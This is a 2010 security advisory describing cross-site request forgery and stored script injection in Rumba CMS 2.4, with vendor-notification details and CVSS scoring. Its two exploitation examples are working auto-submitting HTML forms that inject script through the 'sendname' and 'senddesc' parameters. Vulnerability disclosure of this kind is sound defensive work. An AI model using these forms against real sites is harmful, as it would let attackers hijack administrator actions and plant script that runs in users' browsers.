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Cross-site Request Forgery (CSRF) Vulnerabilities in Rumba CMS

Advisory ID:HTB22591
Product:Rumba CMS
Vendor:Rumba Netware Ltd.
Vulnerable Versions:2.4 and probably prior
Tested Version:2.4
Advisory Publication:August 18, 2010 [without technical details]
Vendor Notification:August 18, 2010
Public Disclosure:September 1, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Rumba CMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Rumba CMS
1.1 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and send certain information. Due to insufficient sanitation of input data in the "sendname" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="sendtags" value="cms" />
<input type="hidden" name="sendid" value="newtag" />
<input type="hidden" name="sendname" value='New tag"><script>alert(document.cookie)</script>' />
<input type="hidden" name="event" value="add_tag" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and send certain information. Due to insufficient sanitation of input data in the "rumba_desc" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="sendid" value="rumba_id" />
<input type="hidden" name="sendtitl" value="rumba_titl" />
<input type="hidden" name="sendauthor" value="rumba_author" />
<input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" />
<input type="hidden" name="sendlost" value="0" />
<input type="hidden" name="senddesc" value='rumba_desc"><script>alert(document.cookie)</script>' />
<input type="hidden" name="sendanons" value="rumba_anons" />
<input type="hidden" name="sendtext" value="rumba_text" />
<input type="hidden" name="sendtags" value="service" />
<input type="hidden" name="sendcomm" value="yes" />
<input type="hidden" name="add-end" value="begin" />
<input type="hidden" name="send_old_id" value="rumba_old_id" />
<input type="hidden" name="event" value="add_page" />
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22591 - https://www.htbridge.com/advisory/HTB22591 - Cross-site Request Forgery (CSRF) Vulnerabilities in Rumba CMS
[2] Rumba CMS - rumbacms.com - Rumba is a Content Management System (CMS). It is the engine behind your website that simplifies the creation, management, and sharing of content.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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